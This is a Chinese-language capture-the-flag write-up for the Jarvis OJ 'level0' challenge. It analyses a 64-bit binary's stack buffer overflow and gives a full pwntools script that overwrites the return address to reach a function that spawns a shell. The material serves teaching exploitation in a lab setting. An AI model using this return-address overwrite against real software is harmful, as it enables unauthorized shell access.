1. 程式人生 > >jarvis oj level0

jarvis oj level0

菜鳥入門,先從level0開始下手。

首先checksec,發現開啟了nx保護。

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

拖進64位ida,檢視vulnerable_function

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]
  return read(0, &buf, 0x200uLL);
}

發現開闢了0x80的緩衝區,讀取了0x200的內容,同時幸運地發現了callsystem函式,考慮緩衝區保護了,可以將返回地址覆蓋為callsystem地址。

正常vulnerable函式棧如下:

vul_ret_address
ebp
buf

棧的增長方向是從高地址向低地址。
在這裡插入圖片描述
我們要做的是把vul_ret_address覆蓋成callsystem地址。
構造payload=‘a’*0x80+‘junk-ebp’+p64(sys_addr)
指令碼如下:

from pwn import *
context.log_level="debug"
p=remote("pwn2.jarvisoj.com",9881)    
e=ELF("level0")                                 
sys_addr=e.symbols['callsystem']
payload='a'*0x80+'junk-ebp'+p64(sys_addr)
p.send(payload)
p.interactive()
p.close()

幾個收穫:
pwntools的使用。函式執行時棧的狀態,函式執行時先push ebp,將原棧底地址入棧。ebp棧底指標,esp棧頂指標,esp會一直變化。呼叫函式時須先將下一跳地址壓棧,即呼叫完函式的返回地址。
分享一篇入門好文章

遺留問題:
通過e.symbols['system']和e.search('/bin/sh').next()獲取bin/sh地址和system地址,構造system("/bin/sh")為什麼不行?沒想明白以後再看
知道了,level0是64位程式,引數不儲存在棧上,可以利用pop rdi,類似於level3_x64
一開始以為recv()沒什麼用,還是需要用recv,只有recv了,伺服器返回的字串才會從快取中丟棄,要不可能recv的是上一條返回值,要注意。